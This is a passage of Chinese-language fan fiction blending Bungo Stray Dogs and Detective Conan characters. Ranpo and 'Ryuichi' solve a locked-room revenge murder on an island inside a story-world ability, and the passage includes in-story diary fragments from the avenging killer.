“他可不是真的死了,”江户川乱步冷笑一声,翡翠色的眼中闪过一抹嘲讽:“故事中的死亡又不代表现实中的死亡,你还记得他在刚来时对我们说过的话吗?” “‘……我还有工作要做啊,突然被邀请到这里来……’”“龙一”的记忆中忽然闪过了最初介绍时那人说过的这句话,他垂下眸,轻声道:“他是自己选择主动退场的。” “而且,”江户川乱步龇了龇牙:“还就此截断了所有连接到他身上的线索。不论我们有多少想知道的,想从他身份和记忆中发掘的,都成了一场空!” “他是退场了,可不代表着他就不会给我们添堵,你相信么?就算我们现在再继续从他身边找,也找不到一丝我们想要的东西。”江户川乱步呼出口气:“离开是他想要的,能做成这件事,顺便还给我们的破案截出一条沟,这对他来说,是两全其美之事。” “甚至,你瞧,”看了眼尸体面上的神情,江户川乱步漠然道:“他连演都不想演。” “就算是假的,死亡也不是谁都能接受的事啊。”“龙一”反倒是更沉着一些,他叹了口气道:“而且,我们就真的那么确定,在这里死亡不会对现实产生影响?那位阁下是超越者,他能做到的事我无法想象也无法理解,但涉及到死亡,谁又能真的不担忧?” “还有,”“龙一”的视线转移到了那把匕首上去:“他是选择了死亡,但‘自杀’可不是他自己动得手。这里还有一个凶手,他顶多是在那人要杀他时,没有选择反抗罢了。这就是他的‘自杀’。” 他的目光扫过一众人,管家、女仆、仆从……最后是“京介”,那位与他们一同到来,存在感却始终不高的“同伴”,会是他吗?他思索起来。 查案陷入了僵局,他们都对凶手有了猜想,可“医生”的死亡将他们找寻证物的那一扇门紧紧地关上,就算他们真的将案发的经过重新推演出来,但没有了最重要的一环,他们也没办法在短时间内,将之彻底定案。 更多的黑暗涌来,他们仿佛是一群被困在这里的人,找不到出口。离开,离开,离开就真的是解脱么? “还可以这样吗?”书外的大浣熊笑嘻嘻地手舞足蹈:“原来被我困在里面的人为什么不这样做……真是群笨蛋……不,他们死了就真是死了,和在这里不同,这里可是……扭曲……死亡……在死前将之扭曲……呼噜噜,一开始就不是用自己的身体进去的……增殖对它们来说就这样简单吗?” “可怕,真是可怕,”似是从中联想到了什么,连自身神智已失的大浣熊也打了个寒颤:“如果将之彻底释放出来,咦惹……绝对不要哇!” 他像是被吓到了,慌慌张张地左张右望,见到满目皆是红色,他有些疑惑地抬起头,看到红色的月亮就悬挂在他的头顶上,迷惑尽消,他大声笑了出来:“是啊,它被限制在了这里不是吗?别说还有与之对立的异能在起作用,那位阁下可真是了不得,无赫赫之名,做出来的事,却是拯救了不知道多少人。” 他没有质疑自己在后面为何思绪这样流畅,更是想明白了一些他根本不知道的事,恍如理所当然般,他对此地的主人产生了毫不保留的信任,他的身躯更庞大了一些,可以说是肥硕,一只流着泪的小浣熊挂在他的身上,四肢陷入他的躯体里,双眼紧闭,好似已经成为了他的一部分。 无数被他抛洒出的书忽然无风自动起来,它们在他面前哗啦啦地翻着页,每一页每一个文字都染上了红光,细细观之,又有无数的锁链在其中闪现,它们围聚过来,将超大号的浣熊簇拥住。 “嗯,要这样做吗?”听见了什么声音,大浣熊也是讶异,可很快,他就迷失了过去,他的眼中闪过癫狂的兴奋:“是啊,为什么我从前从没想过要这么干,一本又一本地写,一本又一本……” 艾略特送别走了另外的客人,回去了他所在的那个小木屋,外面是依旧平静如初的郁葱树林,他站在窗口边,翠色的长卷发在永不停歇的阳光下散发出富有生机的色彩,瞳孔中宛如映照了所有,没有人能想到,那个诡异又危险的空间是归属于他的。他面上微微带了笑,这个犹如童话中般的小世界,也随之好似活了过来。 江户川乱步走到“京介”面前,他深吸了口气问:“你是为了什么来到这里的?” 现在是他们在将“医生”的遗体检查了一番过后,与春江英才不同,“医生”是死在前厅里,在这里,谁都有可能过来,他死去的时候,“龙一”与江户川乱步正在上一个案发现场中,根本没注意到外面人员的流动。 “晚饭过后,我就去厨房收拾东西了,后厨的厨师应该见过我。”女仆森岛爱回忆起自己的行踪:“而之后,之后我要去准备水果,但冰箱里已经没有水果了,我想起了仓库里还有一些苹果……” “也就是说,你之后的十几分钟里,没有人能为你提供不在场证明是吗?”“龙一”问的很严谨。 “什么,不,”森岛爱脸色慌张:“我绝对没有杀人,我,我只是想给每一位客人送去餐后消食的水果,这是管家吩咐过的……” “还能去哪?”小町小雪比她要好很多,她歪着头道:“我去收拾房间了,别墅里的工作其实也挺繁重的。匕首?不,我没有见过那样的。” “龙一”在与他们对话时,江户川乱步则是在等“京介”的回答。 “你该不会也和那位‘医生’一样,觉得这里有些无聊,就这样干脆离开了吧?”江户川乱步状似生气,实则试探着说。 “京介”是一个很奇怪的人,这奇怪不止体现在他的孤僻上,他似乎有着自己的节奏,与他们并不是抱着相同的目的而来。江户川乱步是知道爱伦坡极限的,如果一段故事转变为现实,无法用文字来细细雕琢人物,人物就会显出一种扁平的突兀感,这一次也是一样。 那家伙不是导演,无法将一个人的过往在某一时刻,尽数堆叠在一个瞬间,他用故事困住一个人,靠得是“智”的博弈,而不是靠“真实”,又或是“情感”的渲染。他经历过,所以不以为奇。 但这一次就是奇怪了。因为这是爱伦坡想要的,却,不是那个人想要的。他之前预言这只是开始,而现在,他的这种预感还没有改变。他想,他最好能加快动作。 “京介”没有再维持着他那种拙劣的伪装了,他看了看天空道:“确实是不行。但你我都知道,这也算是那位阁下的第一次尝试,有些不足也是在所难免的。你说对吗?” 江户川乱步眯起了眼睛:“看来你确实是知道一些东西。你还知道些什么?”他毫不客气地就问了出来。 第115章 揭示 裴真是在写了书以后才想到爱伦坡的, 爱伦坡的故事空间是他在未穿越前就印象深刻的能力,动漫中其表现得并不强,漫画作者更是没有过多渲染, 它的局限性也很多,譬如只能选择推理作品,只能在能力者本人的作品中选, 更是要符合基础的常理与逻辑。 可若是没有这些,穿了进去, 不就相当于是进行了一场同人穿越吗?只要作品的世界足够宽广,你甚至能真的以为自己穿进了原本的剧情中。 再仔细想一想, 裴真的情况,从某种意义上来说, 与这些人也不是没有相似的地方…… 这次的行动, 仅是一次尝试。 江户川乱步知道自己卷入到了其它的事中, 他想去见“无色之王”,请柬只是给了他一个机会。他询问“京介”,这位犹如置身事外的人, 不仅是对他身份的试探, 也有接下来会发生什么的试探。 “京介”听见乱步的问询, 他看出了这位武装侦探社中侦探心中的焦躁, 与“龙一”相比,他知道的更多, 也更敏锐, 他没有“龙一”之前的经历,没有那种失去过所有掌控权, 只能在另一位存在的掌心中挣扎求存的过往,所以他急切地想要抓住些什么, 这是可以理解的。 他只是淡淡道:“其实有些东西,知道的太多对你也是无用不是吗?他在向你递出请柬的时候,就已经向我们保证了本身的安全,有些人相信这些,所以可以毫不犹豫地放弃自己的生命,”他看向“医生”的尸体,“如果你想,也未必不能随时离开。” 江户川乱步无法通过这些话来确定心中的猜测,他稍稍停顿了下,整理了思绪,又问:“如果说这是一个故事,我们进来的身份也是其中的一环,是之中的拼图,他的‘死’打断了向前的流程。你以为现实世界中为什么会有‘灭口’的说法,因为有些东西,是只存在于人的记忆中的,没有了它们,罪也就被截断了,破案也就无从谈起了。” “京介”叹了口气:“你不用担心,我不会那样做的。你想要知道我的立场?”他略略思忖了下:“你认为‘医生’是被谁杀的?” 江户川乱步扫了一眼在场的众人,视线在其中二者身上流连了一瞬,“与杀掉春江英才的并非同一人。” “京介”笑了:“如果你看过那本书,就知道,有些东西,从一开始就不一样了。” 【岛上又下起了雨,这边的气候多数时候总是湿漉漉的,沉重又憋闷,就像个阴湿的套子,让人总以为自己也能被挤出水来。 今天前来拜访的是主人家朋友的子嗣,这是一个姿态傲慢的年轻人,尽管有着华丽的外表,但他轻佻的动作和无礼的话语,都暴露了他草絮的内里。他邀请小雪去到他的房间,说是有要事与她商谈,我认为他心怀叵测,并嘱托小雪离他远一些。 医生是一个忠厚老实的中年人,他年近五旬,无妻无子,作为主人家的家庭医生已经四年了,他医术高超,备受岛上人的信任,上一次我头疼的时候,还是他给我带来的药,是一个很好说话的老好人,大家都很喜欢他。 家主的侄子,怎么说呢,他有一些腼腆,和他的舅舅一点也不像,见到人的时候还会脸红,时常会待在角落里,做自己的事,是一个忧郁又孤僻的家伙。 而那个侦探……我不明白他为什么会来这里。他的出现很奇怪,只是一件微不足道的小事,就被从岛外邀请到了这里。其实那个人并不怎么重视他,并嘲讽过他只是一个想要进入上流社会的小丑,我觉着他是用有色眼镜看人,侦探并非没有能力,只是……不足够。 管家对待他们的态度,就是家主看待他们的态度。这个家伙一贯是主人家的传声筒,从他那里就能看出这个家的格调。 风雨要来了,坐在这艘船上的人啊,谁是要将船底凿开一个洞的人呢?小心点,不要掉下去了。】 “龙一”已经确定了上次事件的凶手,但就像是江户川乱步所说的,“医生”的逝去,将他们的进程打断了,他在思考,自己是要继续找寻下去,还是将之就此揭开。 乱步说他们要抓紧时间,“龙一”没说的是,他其实也有这种感觉。并且,他还觉得,这座岛上的谋杀案不会就此结束,他们的身份都各自有意义,凶手是在做一件复仇的事,而他的目标,应该不会是只有一人。 他竭力回想自己在购买到那本书时,封面外套有的腰封上,那些极力想要吸引人眼球的标语——“名作家推荐!一场长达十余年的蓄意谋杀!”、“一次对于恶人毫不留情的剿杀!华丽的报复归来!”、“引人深思,黄昏时刻的罪恶,终至的审判!” 记忆中,小兰在看完这本书后,对他说的话……糟糕,因为之后准备阅读,所以拒绝了她的剧透行为。 而且,在他们到来后,就算有原剧情,剧情也应当是改变了。 【最先死去的,是那位傲慢的年轻人,他的尸体漂浮在海边,面朝下,有半个身体陷进了沙滩里。在发现他的时候,他已经泡了整整一夜了,海鸟停在他的背上,用喙啄他的头发,他的头上有很大的一个伤口,应该是被人从身后袭击而死的。侦探说,这是抛尸者没有料想到海潮的变化,让本该沉入大海的尸体又送了回来,这是他的失误。 家主很生气,因为他的那位朋友是他很重要的合作者,在他已经有大部分产业破产的现在,那位朋友的支持,是他还能够维持现在生活的基本。他发了很大的火,整个人就像疯子一样在大厅里乱叫,虽然他从前就是这样一副疯癫的样子,但近来变得更可怕了,连管家有时候都会特意远离他。 大家想要报警,但家主制止了他们。他的脸色难看的吓人,将电话从仆人的手中夺走,并毫不留情地拽断了电话线,手机也没有信号,这座岛就是这样,孤悬在大海上,最近的一座邻岛都需要两天不间断的航行,才能见到影子,也不知当初在这里建立别墅的人是何想法。 可既然人死了,总要有所动作。侦探询问了很多人,只有家主拒绝了见他,他的态度非常恶劣,将之毫不留情地驱逐了出来。 而第二日,家主也死了。 他被发现死在自己的房间中,静悄悄的,没人听见任何动静。他的脸色青白,双手攀在脖颈上,像是在抓住什么东西,但没有勒痕,极端诡异。】 外面已经彻底进入了黑夜,屋内的灯是唯一的光源,不知是不是用的时间久了,光亮有些昏黄,照在众人身上,将他们的影子投射得有些扭曲。 因为已经是第二位死者了,所有人都没有去入睡,早在之前就有人通知了警察,但昨天的时候,对方就说需要时间赶来,方才还是如此,不知道是不是这个故事便是这般,警方的存在或许一开始就没有设定出来。 大家都心神不定,家主死得离奇,别墅内已经有一部分人在传言,这座古屋在许多年前,就有一对老夫妻死在了里面,他们冤魂不散,这一次的案件,是他们的复仇,生人占据死者的居所,他们取死有因。“医生”也是不幸,他在独自一人的时候,遭遇到了鬼魂,那把匕首,便是前房屋之主的收藏。 “龙一”叹了口气,他觉得他们现在必须要有所行动了。 他清咳了一下,吸引了所有人的注意力,而后,他轻声说:“春江英才,他不是死于鬼魂的复仇,他是窒息死的,但他不是被勒死的,而是死于药物的发作。” 灯光晃动了下,一双双的眼睛都落在了他的身上。江户川乱步也看了过来,他知道他决定要将一切揭示出来了。 一瞬间的寂静,然后是管家的质疑:“不可能,他的药物我都有检查,绝对是按照医嘱来的,之前的几年也是按照这个量来服用,药方都没有更改过……” “医生死了。”“龙一”只是一句话,就打断了他的质询。外面的小雨在密密织织地下着,内里一片安静。“龙一”问:“你认为,他为什么会死?” 管家没有说话,只是眼神恍惚。“龙一”看向江户川乱步,乱步说:“医生死去了,他带过来的那个箱子也不见了,不论是不是凶手拿走了它,里面的东西恐怕都很重要。” “龙一”继续说:“另外,你难道就没有觉得,这个家的主人,春江英才,他的状态有些奇怪?” “奇怪?哪里奇怪了?”管家疑惑问。 “我与他接触的不多,”江户川乱步摇摇头:“但有人还是记得的。” “是的,”“龙一”说:“他难道是从一开始就这样狂躁的吗?” “大喊大叫,行动癫狂,时常会突然发疯,”“龙一”说:“会因为一些莫名其妙的小事,就惩戒他人。他是从什么时候就如此的?” 管家呐呐道:“我是从七年前为他服务的,那个时候,他就已经是这样了。医生说他这是心理和生理交互出来的问题,需要慢慢调养,所以给他开了药,并嘱托他要时常去看诊。这也是医生定期来这座岛的原因。” “这么久吗?”“龙一”恍惚说。 第116章 仇恨 很难想象, 一个人是在怎样的状态下,才选择了这样的复仇方式。 时间是一条流过泥沙的河流,人们总是会对其中留存下来的石子更加信任一些, 因为他们相信,时光磨人,没有什么是比它更好的考验试题了。“龙一”也相信, 这样漫长的等待,对于等候者而言, 更是一种严峻的质询,质问着自己的内心, 质问着自己的精神。 江户川乱步走上前说:“这不是一次突如其来的谋杀,这项折磨人的事情, 是从很多年前就有预谋了。我记得我问过你们, 医生是从什么时候开始给死者看诊的吧?” 一边的小町小雪有些惊骇地捂住了嘴, 她喃喃道:“你是问过我,我告诉你,管家说五年前换过一次医生……” “为此我还重新请教了一下管家你, ”江户川乱步的眼神犀利起来:“你说之前的是一位年轻的女医生, 但看诊过一段时间后, 因为不信任她的能力, 你们才找了现在的池井医生。” “是的,”管家露出一副艰难思索的神情:“我还记得是家主认为她太年轻了, 他要找到一个更有经验的……” 江户川乱步嗤笑一声:“结果换了一个, 你们的情况还是一样的,我说, 你们就没准备去找一些大医院看一看吗?” 管家有些不明白,他说:“家主认为家庭医生才是最好的, 事实也确实是如此,更何况,他们在这一片的领域也是有口皆碑……” 【春江英才日常为自己的头疼困扰,他经常精神恍惚,听见一些奇怪的呢喃声,有时会被一些莫名其妙的小动静所惊扰,整个人惊惧莫名,可仔细看后那里又什么都没有。他不喜欢那个女医师,他总觉得她的眼神很奇怪,冰冷又刺人,像是一寸一寸能看入到他的皮囊里。 他不认为自己是因为过去做下的事惶惶,他不相信这世上会有报应,因为他们已经享受到成果了,如果真有善恶之报的话,当初那两个老家伙,就不会碰到自己这么一群人了。 呵呵,他时至今日还能忆起自己当初肆无忌惮时的愉快。想到这里,他舔了舔唇。】 “龙一”说:“我一直在调查着那起案件的动机,因为信息上的不流通,我只能找到两个有可能的方向。一是十年前的那桩惨案,一对老夫妻在这栋别墅里被杀害,他们所有的财产,现金和古董,都在那个风雨交加的夜里被掠夺而走,警方认为那是由海盗做的案,并因此发出了通缉令,可今日看来,那桩案子还有很多的疑点。” 江户川乱步在观察着所有人的脸色。管家面无表情,小町小雪极为震惊,森岛爱微低着头,像是还没从之前的死亡案件中回过神来。其他人则是没什么异常,那个之前一直在屋外工作的仆从也一副慌张的样子,符合常理。 “据你们所知,”“龙一”笑了笑道:“春江先生是以那对老夫妻们远房亲戚的名义继承来的这栋别墅,他虽然得到了这座别墅的拥有权,可在最初的几年,却是根本没有来过这座岛上。若不是中途破产了,在将财务都变卖了后,只余下这座房子,他也不会选择到这里来。” 【这是栋凄冷的古宅,老旧过时的设施,散发出霉味的装饰,风从空洞里吹过来时,就会有嘎吱嘎吱的声音响起,仿佛是有无形的人在旧地板上走来走去。】 他叹了口气:“我无法找到与他们有关联的人,但有趣的是,这栋房子里有着一些奇妙的小空间,身为主人的春江英才不知道,而那位凶手却知道。” “啊?”这些在这个房子里住过好几年的人都抬起头来,他们迷惑地望着他,不明白他在说什么。 “龙一”抬起手,用手指在自己的脑袋边划了划:“整幢房子都被我放进了我的脑子里,我目测了所有房间的长宽高,并将之一一镶进了我脑中房屋的壳中,然后再经过计算,我发现,在这栋别墅中,有很多黑暗的部分,是不属于房间和走廊的,那么,它们又是用来做什么的呢?” 开什么玩笑?这是能算出来的吗?这种立体空间上的旋转衡量,简直比他们见过的最深的数学题都要深奥,不少人目中露出混乱。 “有人利用这部分进入了死者的房间,”“龙一”的语气十分肯定,像是在叙说一个经过了检测的事实,“‘他’不需要钥匙就能进入。死者所在的房间根本就不是一个密室。” 说罢,他拿起了灯,就朝着一个方向走去。乱步跟在身后,众人愣了一下,也赶紧跟了上去。 春江英才的房门是紧闭着的,因为保护现场的缘故,屋内所有的东西都没有动,甚至是他的尸体还躺在原处,只在身上浅浅盖了一层白布遮掩。人们来到这里时,都忍不住离他远一点,面上露出恐惧。 “龙一”拿出一张轻薄的卫生纸,将之从层面上分开,然后牵着其中之一,在墙上试了试,没有任何动静。然后,他打开了房间中的柜子,一打开,里面挂着的一幅画就吸引了众人的注目。 管家忍不住解释道:“这是家主从前买下的一副仕女图,据说是古代中国的珍品,因为太过喜爱,所以没有卖掉,带在了身边。” “卖不出去多少钱,”江户川乱步忽而在一旁道:“这是幅赝品,真正的原图是在意大利,收藏家是一位黑手党的高层,这顶多算高仿。” “是、是这样吗?”管家有些尴尬,不知该说什么好。 那张薄薄的纸在被放在一处时,轻轻地飘动了起来。 “这说明了什么?”有人还是不明白。 “这后面有机关,”江户川乱步静静道:“后面有通道,通道还是与外界相连的,所以有风。” 【他看见门被打开,人影就站在门口看着他。风,好大的风,他的被子被吹得飘起,他费劲了心思想要抓住它,但他的身躯却一动不能动,他就像是具僵死的尸体,看着外物入侵到他身边来。他瑟瑟发抖,犹如衰弱的孩童。 怎么也醒不过来。 而等他醒了之后,又会发觉,这只是一场梦。】 “龙一”皱紧了眉,他盯着这里。 “那我们该怎么进去?”管家问。 “机关的入口不在这里,控制阀也是在里面,从这里,我们进不去。”“龙一”摇了摇头,他转过脸来道:“这个柜子不是一开始就有的吧?” 管家点头说:“是两年前修的,要存放家主喜欢的东西。” “龙一”无奈:“这挡住了原本的墙面,难怪我最开始的时候,什么也找不到。” “京介”就这样看着他们破案,“龙一”在讲解自己发现的东西,乱步则是在暗中若有若无地注意着他。他发现他并没有做什么,只是看着这一幕,眼中的光有些奇妙。他的心中飞速地转着诸多念头。 “那、那怎么办?”小町小雪躲在森岛爱身侧,她注视着这个柜子的后面,有些恐惧,又有些好奇:“我们可以直接在这里把它锤开吗?” 几人一起看向她,“现在暂时不用,”“龙一”笑了:“等之后再说吧。我们还是先解析凶手杀掉房间主人的具体手法吧。” 他看向了江户川乱步,乱步接过了话头,他笑眯眯地从人群中走了出来:“一开始的时候,我们都认为凶手是用药令死者窒息的。可后来发现,事情不是那么简单的。” 他环顾众人,见到没人发问,不由有些遗憾:“凶手的死,确实有药物的影响,但不是我们想象的,一次下毒令其窒息而死。而是……”他敛下眉眼,遮住其中的冰冷:“一次一次又一次,持续了七年以上的,令其逐渐恐慌惊惧,乃至躁郁疯癫的,漫长的折磨致死!这最后的死亡,不过是凶手送给我们的一个收尾,是‘他’在无数时光后的余兴,‘他’想要他死,但又不愿他那么痛快地死,‘他’想要他身处人间,却又如同身处地狱,永远痛苦无解!” 这是何等可怕的言语!又是何种刻骨的仇恨,才能让人能够做出这样冷血残酷的事?这种庞大的恶意,犹如是深海中黏腻的海草,一缕缕,一丝丝,不计其数地爬上来,将你的全身缠绕住,将你包裹得严严实实的,连一丝空气也不放过。 众人听得不寒而栗,他们站在原地,却仿佛站在了寒风中,连骨头里也透着冷。 第117章 复仇的美学 江户川乱步的话仿佛带有魔力, 让人们回到过去漫长的时光里,想象到春江英才遭受到的一切。“ 谋杀有激情犯罪,也有蓄谋犯罪。”乱步说:“可如果一个人用了七年往上的时间去缓缓做这些事, 耐心无比,有谋略有手段,这期间又避开了一切的意外, 我实在想象不到,这个人, 又怎么不会成功?” “‘他’将这件事当成了一件平常普通的事,就恍如见到了一张桌子脏了, 拾起抹布便去擦一擦,有问题可以退一步, 在主人家收回了警戒的触角后, 又不动声色地往前走出一步, 就这样一步一步地,来到了他的身后,在他都没有注意到的时候, 最后只是轻抚一下他的后脖颈, 对方就恐惧惊惧而死。这种无形无质的压迫感, 才是‘他’一直以来的剃刀。” “他”在精神上凌迟着这个人! 四周一片安静。外面连一丝光都没有, 他们仿佛被隔绝在一个小盒子中,几人都屏住了呼吸, 他们不敢向两边张望, 生怕日常生活中的某个人,就是这个潜伏在暗中的凶手。 只有小町小雪想了下, 还是大着胆子问:“这只是你的一方之言吧,你有什么证据吗?或许真的只是春江先生自己的精神出了问题, 被幻想中的画面吓到了,又恰逢身体出了意外,才呈现出了这样的死状,这般才更说得通吧?” 她的声音虽小,却像是一张网兜,将淹没在深海中的众人打捞了出来,他们俱都缓了口气,有人笑着说:“是啊,怎么可能有这么久呢?人怎么可以做得到这样的事,一直不犯错。更何况,有什么必要如此坚持,如果有仇恨,直接动手不就好了,何必费时费力……” “看来你们也知道,”江户川乱步松了松领口,他的唇角微微翘起,带着冰冷的意味:“只有仇恨能让人做到这一点。可是你们不知道,复仇者也是分人的,有人什么也做不到,有人图一时畅快,也有人,想的是如何能让仇人感受到更多的痛苦。” “在这一次凶犯的心里,从来就不存在着‘复仇无正义’的说法,‘他’有着极其强大稳定的精神内核,做出决定后,便不会再有犹豫,”江户川乱步没有说的是,这样的人是不会被社会挟裹的人,他们往往才是世上广义上的成功者,“更重要的是,‘他’能够做到这些。” 【我曾经想过,为什么不论什么样的人,都要住在一个世界呢?人之中有好的,他们善良无私,对待陌生人也可以付出一切,他们会愿意对每一个人伸出援手,看待世界是彩色光明的。由这样的人组成的世界,一定也是温柔到不可思议地步的吧? 而另一些的人,他们自私残忍,将掠夺与侵占当作理所当然,他们就像是蛀虫,不事生产创造,只愿攀附在其他人的身上吸血生存,他们一边吸着咬着,还要一边抬起头来,得意洋洋地呱呱乱叫:“看啊,我所找到的,是一位多么愚蠢的人,连受到了痛苦也感知不到,真是生来就是给我们做血食的命!” “被我选中,真是他的幸运!” 这样的两类人如果区分开,让善良的人可以尽情地去建设他们的社会,让腐坏的人去与同类相争,阴险者同阴险者同行,残酷者剜割残酷者的肉,这样才是公正公平的吧? 听到我这样的话,我的朋友一下子就笑了,他只用了一句话,就打破了我一直以来的迷惑,他说:“你说的这个,不就是‘天堂’与‘地狱’吗?” 我怔住了,忽而一阵极大的痛苦袭来。原来如此!在我之前,并非没有人没看到这些,他们也有同我一样的疑问,同我一样的幻想,他们甚至将之构建出了具体的形体,并赋予了它们名字。 ——可是,现在的我知道,这些都是假的啊! 那样的世界是不存在的,善良者与幸福不绑定,作恶者与报应无关联。他们就是要生活在一起的,这就是真实,这就是现实,我的苦痛,只在于我对此的绝望,并在将之认清后的无能为力。 但我还是有些事能做到的。那些是发生在我自己身上的事,当时的痛苦遗留在我的血脉里,我时至今日还在想着一件事,我应该用怎样的方法,才能让他们感受到最大的痛楚,是从外界,还是从内部,还是两者一起来? 死亡是一切的结束。我不希望他们太早逃出这个牢笼。】 “‘他’做的还不仅仅是这些……”乱步扫视了一下所有人,目光在某个人身上停了停,如果将时间拉长,可以发现,春江英才事业上的崩溃也有疑点,充满了一种意外与戏剧性,可他只是在别墅中找到了一份报纸,上面对这些也只是稍微提了提,他是有预感,但他无法查证。所以他也就没有说。 他垂下眉眼:“身体是外部,精神上的压力是内部,‘他’似乎正在尝试着一条路,能够将这位仇人全然摧毁的路。‘他’对他的恨是刻骨的,这种情况是很难发生的,因为一般来说,仇恨总是伴随着莽撞与暴虐,还有一种被蒙住心灵的不顾一切,这样的人能冷静下来的已是极少,而能够抑制住自己,培养出这样一幕延续了许久的剧,更是与人的心灵相违背的。” 【复仇是一出甜美的甘酿,用仇敌的灵魂和骨髓做养料。 可是亲爱的,不要学我,因为你未必有我的,抽丝般的耐心,和布置所有的勇气与智慧。】 “到底是怎样的恨……”小町小雪一时有些茫然,她躲在森岛爱的身侧,忘了自己方才的疑问。 “那就要回到这栋别墅的身上来了,”江户川乱步笑了下:“是什么样的情况,能让现今房屋的拥有人不知道别墅内里的隐藏通道,而另外一个人却知道呢?” 管家眼中一凛。其他人也若有所思。 乱步侃侃而谈:“那就只有这栋屋子本来的所有者了。它是谁建的我还不清楚,但我知道它的上一任主人是谁,并且还知道,那对老年的夫妻在这座房子中发生了什么。” “他们被刀砍致死,死前的血流遍了整个的大厅,凶手将他们砍断,以听到他们的哀嚎为快乐,将他们的痛苦视作赞誉。黄昏逢魔,这对夫妇的桌上摆上了招待客人的食物,可谁能料想到,他们迎来的不是客人,而是恶魔。” 管家缓缓道。“哦?”乱步一笑:“看来你去了解过这些。” 管家点了点头,没有再说什么。 【黑暗并不能阻止她看到这个人的脸,就是他,与另外的三个人,在当年的事件中,毫不犹豫地取走了两个对她而言十分重要的人的性命。她依然还记得,在那惨剧发生时,鲜血溅射到他脸上,他的面上是一种发泄出来的快感,他在笑着,在大笑! 可现在,他的眼中满是被吓破了胆的恐惧,他的脸色苍白虚弱,神情惶恐畏怯,这已是一个废了的灵魂,躲藏在一具濒临毁灭的躯体里,就算她不做些什么,他也会在之后的疑神疑鬼中,要么疯掉,要么意外丢失掉性命。 “不,不要过来!”他在不断地往后缩,眼珠子中瞳孔收缩,“妖…妖怪,走开!走开!”他根本无法思考,只能将眼中的所见当成了一切,并渲染出另外一副模样。现在的他,就如同是一堆已经榨干的木头,只要一点的火星,就能…… “铮——”她只是轻轻拨动了一下琴弦。 对方便心魂尽丧了。再然后,就是静悄悄地走到他的身后,用一段柔软的东西搁置在他的脖子上,琴音奏起,对方猛地一下跳起,拼命用手抓住脖子上的东西,琴音越鸣,乐声越紊乱,他就越是痛苦挣扎。直至最后,另一项事物也起作用了,他的面庞涨红,双腿连蹬,口中呜呜不能出声。稍许后,他停了下来,躺倒而下,失去了动静。 啊,她所尝试的试验,成功了呀!】 “如果将那对老夫妻的死,归类到春江英才的身上去,许多的疑问也就自能说通了。”乱步又拿出一些资料,这些都是他在“龙一”走遍别墅的时候查找到的,里面是一些剪报和信纸:“而恰好,他与他的那几位朋友的发迹,就是在那起案件发生后,他们不知从何得来了大笔的本金,投入到商场中去,并以此赚取了更多的钱财。他们是海上的水手,说那些钱是海外淘金来的,但有人追证过,他们说的都是假的。” “可那对老夫妻没有孩子,少有的几个亲人也根本不联络啊。”有同样了解一些的人这样问,他们身边的人点点头,显然也是道听途说过的。 江户川乱步淡淡地笑了:“你知道的不是全部。如果你们真的有更仔细地研究过的话,你们就会发现,他们年轻时其实是有过一个孩子的。” “只是那个孩子,”乱步语气中带上了不明显的叹息:“在她五岁的时候,就在一次外出旅游时走失了。” “他们寻找过,但找了很久都没找到,”乱步说:“后来他们也一直没有再要,就这样步入了生命的余期。” “我不知道他们是如何联系上的,我只知道的是,那个人,一定对那份爱,抱有格外强烈的期待。直至,一切被摧毁。” 第118章 另一个变数 乱步将一切的情况都分析得很好, 他侧重于凶手的心理,将一起源自多年前策划的凶案徐徐道来,仿佛他亲身体验过凶手做下这些时的心绪变化, 但他没有说的也有很多,就像那起导致一切灭门案的更多细节,凶手除开用药以外, 又是如何给死者带去漫长无形的心理压力的。 总的来说,这座岛上没有将全部的东西呈现出来, 只有一些支离破碎的线索,很久之前的那件源头的事件也仅是侧面提了一次。而心理上的施压, 却是要主导人时时刻刻关注到被害人状态的,也就是说, 在这最少七年的时光里, 春江英才其实一直都是处在某人观测下的, 依据着这些……江户川乱步将视线投向了在这里工作时间最久的管家。 管家有些紧张地看着他,似乎预料到了什么。 但紧接着,下一瞬, 乱步就看向了在他身后几步远的森岛爱, 他说:“是这样的对吧, 作为一个从小遗失的孩子, 能够自己找到父母,可见你对于这份天性之爱, 是有着怎样的期盼的, 森岛小姐?” 所有人都愣住了,其实上一刻, 他们心中不是没有人怀疑管家,因为他在这里工作时间最长, 对于春江英才的情况也是最了解的,若说有异常,他才是最有可能发现的那个。至于森岛爱?她的工作年岁甚至不是女仆中最深厚的一个,平日里也是温柔和气的样子,笑起来让人感觉不到一点的攻击性…… 抱着她手臂的小町小雪也愣住了,她侧过头看她,见到对方脸上是一抹被质疑的惊愕。森岛爱双手置于胸前,这是一个防守型的姿势,她混乱地说:“你,你是不是搞错了什么?” 小町小雪一震,她连忙说:“是啊,爱是在三年前过来的,只是很普通的一个女孩子,不可能做得出这样的事……” “龙一”一直在旁边观望,这种侦破案件的过程全程是由他人来进行的感觉还是有些新奇的,他走到“京介”身边,小声地问:“你不去制止吗?你和我们,不是一边的吧?” “京介”转过头,看了看他:“被投入到这里来,你有收到过什么强制性的任务吗?” “龙一”想了想,摇了摇头,甚至是在进入到这个故事之前,那位超越者还来问询过他,在他同意后,这份邀请才算是送了出来。 “京介”重新将视线转回,他十分简洁道:“既如此,又何来一定要站在你们对面的说法呢?这不是要看个人的自由吗?” “龙一”怔了怔,像是陷入了思索。 江户川乱步轻笑了一下:“森岛小姐你的伪装确实是天衣无缝,我竟没有从中找出什么破绽,更不要说,你使用的还并非是有形的手段,就算有一些遗漏……”他顿了顿,露出一个讽刺的神情:“也由另一人将之全部带下去了,你的手段真是令人思之极恐,心肠也是缜密冷酷,医生是与你合谋的人吧?除掉他,消灭了你最后的一个破绽,就没有人能够给你定罪了。” 他紧紧盯着这位女仆面上每一丝的神情变化,只见她在茫然后就是委屈,她身躯颤抖,眼眶也染上了红意,她咬紧了唇,不知所措地为自己辩解道:“不,不是我,你一定是弄错了什么,我做不到这些的……对了,”犹如抓住了最后一缕稻草,她急忙道:“我是有自己父母的,虽然他们去世了,可是,我不是孤儿的……” 乱步在心中叹息,果然,依着她的心理强度,这样的“诬陷”根本不能够使她陷入自证的陷阱,他的时间还是太少了,对方真正有所行动的,只有在春江英才死去的那一晚,而现场,更是没有留下一丝的证据,就算有法医来,估计也只能检测出,对方是死于药物加惊惧引发的心脏病发,查不出更多的东西。 不,不对。乱步转念一想,药物到底还是留下了痕迹,医生的嫌疑还是不能完全褪去,如果他不是彻底被利用的,这样的结果对他们而言,算不上完美无缺。除非,他想到了什么,迅速将管家拉到一边。 “药?”管家被问得一懵:“家主他确实是有问询过药物的副作用,他每日的服用量是……” 